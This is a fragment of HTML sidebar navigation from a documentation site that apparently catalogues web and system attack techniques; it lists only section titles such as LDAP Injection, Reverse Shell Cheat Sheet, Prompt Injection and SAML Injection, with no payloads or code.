|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
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|
|
</li>
|
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|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Management Interface
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_27">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Insecure Management Interface
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Insecure%20Management%20Interface/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Management Interface
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
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|
|
</li>
|
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|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Randomness
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_28">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Insecure Randomness
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Insecure%20Randomness/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Randomness
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
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|
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|
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|
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|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Source Code Management
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_29">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Insecure Source Code Management
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Insecure%20Source%20Code%20Management/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Source Code Management
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Insecure%20Source%20Code%20Management/Bazaar/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Bazaar
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Insecure%20Source%20Code%20Management/Git/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Git
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Insecure%20Source%20Code%20Management/Mercurial/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Mercurial
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Insecure%20Source%20Code%20Management/Subversion/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Subversion
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
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|
|
|
|
|
|
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|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
JSON Web Token
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_30">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
JSON Web Token
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../JSON%20Web%20Token/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
JWT - JSON Web Token
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
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|
|
</li>
|
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|
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|
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|
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|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_31" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_31" id="__nav_31_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Java RMI
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_31_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_31">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Java RMI
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Java%20RMI/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Java RMI
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_32" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_32" id="__nav_32_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
LDAP Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_32_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_32">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
LDAP Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../LDAP%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
LDAP Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_33" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_33" id="__nav_33_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
LaTeX Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_33_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_33">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
LaTeX Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../LaTeX%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
LaTeX Injection
|
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</span>
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</a>
|
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</li>
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</ul>
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_34" >
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<span class="md-ellipsis">
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Mass Assignment
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</span>
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<span class="md-nav__icon md-icon"></span>
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</label>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_34_label" aria-expanded="false">
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<label class="md-nav__title" for="__nav_34">
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<span class="md-nav__icon md-icon"></span>
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Mass Assignment
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</label>
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<ul class="md-nav__list" data-md-scrollfix>
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<li class="md-nav__item">
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<a href="../Mass%20Assignment/" class="md-nav__link">
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<span class="md-ellipsis">
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Mass Assignment
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</span>
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</a>
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</li>
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</ul>
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</nav>
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</li>
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Methodology and Resources
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<span class="md-nav__icon md-icon"></span>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_35_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
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Methodology and Resources
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<a href="../Methodology%20and%20Resources/Active%20Directory%20Attack/" class="md-nav__link">
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<span class="md-ellipsis">
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Active Directory Attacks
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<span class="md-ellipsis">
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Bind Shell
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest/" class="md-nav__link">
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<span class="md-ellipsis">
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Cloud - AWS
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest/" class="md-nav__link">
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<span class="md-ellipsis">
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Cloud - Azure
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet/" class="md-nav__link">
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<span class="md-ellipsis">
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Cobalt Strike
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</span>
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</a>
|
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</li>
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<li class="md-nav__item">
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<a href="../Methodology%20and%20Resources/Container%20-%20Docker%20Pentest/" class="md-nav__link">
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<span class="md-ellipsis">
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Container - Docker
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../Methodology%20and%20Resources/Container%20-%20Kubernetes%20Pentest/" class="md-nav__link">
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<span class="md-ellipsis">
|
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Container - Kubernetes
|
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</span>
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|
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</a>
|
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</li>
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<li class="md-nav__item">
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<a href="../Methodology%20and%20Resources/Escape%20Breakout/" class="md-nav__link">
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<span class="md-ellipsis">
|
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Application Escape and Breakout
|
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</span>
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|
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</a>
|
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</li>
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<li class="md-nav__item">
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<a href="../Methodology%20and%20Resources/HTML%20Smuggling/" class="md-nav__link">
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<span class="md-ellipsis">
|
|
HTML Smuggling
|
|
</span>
|
|
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|
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</a>
|
|
</li>
|
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<li class="md-nav__item">
|
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<a href="../Methodology%20and%20Resources/Hash%20Cracking/" class="md-nav__link">
|
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<span class="md-ellipsis">
|
|
Hash Cracking
|
|
</span>
|
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|
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|
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</a>
|
|
</li>
|
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<li class="md-nav__item">
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<a href="../Methodology%20and%20Resources/Initial%20Access/" class="md-nav__link">
|
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<span class="md-ellipsis">
|
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Initial Access
|
|
</span>
|
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|
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|
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</a>
|
|
</li>
|
|
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<li class="md-nav__item">
|
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<a href="../Methodology%20and%20Resources/Linux%20-%20Evasion/" class="md-nav__link">
|
|
|
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|
<span class="md-ellipsis">
|
|
Linux - Evasion
|
|
</span>
|
|
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|
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</a>
|
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</li>
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<li class="md-nav__item">
|
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<a href="../Methodology%20and%20Resources/Linux%20-%20Persistence/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Linux - Persistence
|
|
</span>
|
|
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|
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</a>
|
|
</li>
|
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<li class="md-nav__item">
|
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<a href="../Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation/" class="md-nav__link">
|
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|
|
<span class="md-ellipsis">
|
|
Linux - Privilege Escalation
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
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<li class="md-nav__item">
|
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<a href="../Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
MSSQL Server
|
|
</span>
|
|
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|
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</a>
|
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</li>
|
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<li class="md-nav__item">
|
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<a href="../Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet/" class="md-nav__link">
|
|
|
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|
|
<span class="md-ellipsis">
|
|
Metasploit
|
|
</span>
|
|
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|
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</a>
|
|
</li>
|
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<li class="md-nav__item">
|
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<a href="../Methodology%20and%20Resources/Methodology%20and%20enumeration/" class="md-nav__link">
|
|
|
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|
|
<span class="md-ellipsis">
|
|
Bug Hunting Methodology and Enumeration
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
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<li class="md-nav__item">
|
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<a href="../Methodology%20and%20Resources/Network%20Discovery/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Network Discovery
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
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<li class="md-nav__item">
|
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<a href="../Methodology%20and%20Resources/Network%20Pivoting%20Techniques/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Network Pivoting Techniques
|
|
</span>
|
|
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</a>
|
|
</li>
|
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<li class="md-nav__item">
|
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<a href="../Methodology%20and%20Resources/Office%20-%20Attacks/" class="md-nav__link">
|
|
|
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|
|
<span class="md-ellipsis">
|
|
Office - Attacks
|
|
</span>
|
|
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</a>
|
|
</li>
|
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<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Powershell%20-%20Cheatsheet/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Powershell
|
|
</span>
|
|
|
|
|
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</a>
|
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</li>
|
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<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Reverse Shell Cheat Sheet
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
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<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Source%20Code%20Management/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Source Code Management & CI/CD Compromise
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
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<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Vulnerability%20Reports/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Vulnerability Reports
|
|
</span>
|
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|
|
|
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</a>
|
|
</li>
|
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<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Web%20Attack%20Surface/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Subdomains Enumeration
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
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<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Windows - AMSI Bypass
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
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<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Windows%20-%20DPAPI/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Windows - DPAPI
|
|
</span>
|
|
|
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|
</a>
|
|
</li>
|
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<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Windows%20-%20Defenses/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Windows - Defenses
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
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<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Windows - Download and execute methods
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
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<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Windows%20-%20Mimikatz/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Windows - Mimikatz
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
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<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Windows%20-%20Persistence/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Windows - Persistence
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
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<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Windows - Privilege Escalation
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
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<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Windows%20-%20Using%20credentials/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Windows - Using credentials
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
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</li>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_36" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_36" id="__nav_36_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
NoSQL Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_36_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_36">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
NoSQL Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../NoSQL%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
NoSQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
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|
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|
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|
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|
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<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_37" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_37" id="__nav_37_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
OAuth Misconfiguration
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_37_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_37">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
OAuth Misconfiguration
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../OAuth%20Misconfiguration/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
OAuth Misconfiguration
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
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|
|
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|
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|
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|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_38" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_38" id="__nav_38_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
ORM Leak
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_38_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_38">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
ORM Leak
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../ORM%20Leak/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
ORM Leak
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
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|
|
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|
|
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|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_39" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_39" id="__nav_39_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Open Redirect
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_39">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Open Redirect
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Open%20Redirect/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Open URL Redirect
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_40" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_40" id="__nav_40_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Prompt Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_40">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Prompt Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Prompt%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Prompt Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_41" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_41" id="__nav_41_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Prototype Pollution
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_41">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Prototype Pollution
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Prototype%20Pollution/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Prototype Pollution
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_42" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_42" id="__nav_42_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Race Condition
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_42_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_42">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Race Condition
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Race%20Condition/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Race Condition
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_43" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_43" id="__nav_43_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Regular Expression
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_43_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_43">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Regular Expression
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Regular%20Expression/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Regular Expression
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_44" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_44" id="__nav_44_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Request Smuggling
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_44_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_44">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Request Smuggling
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Request%20Smuggling/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Request Smuggling
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_45" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_45" id="__nav_45_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SAML Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_45">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
SAML Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../SAML%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
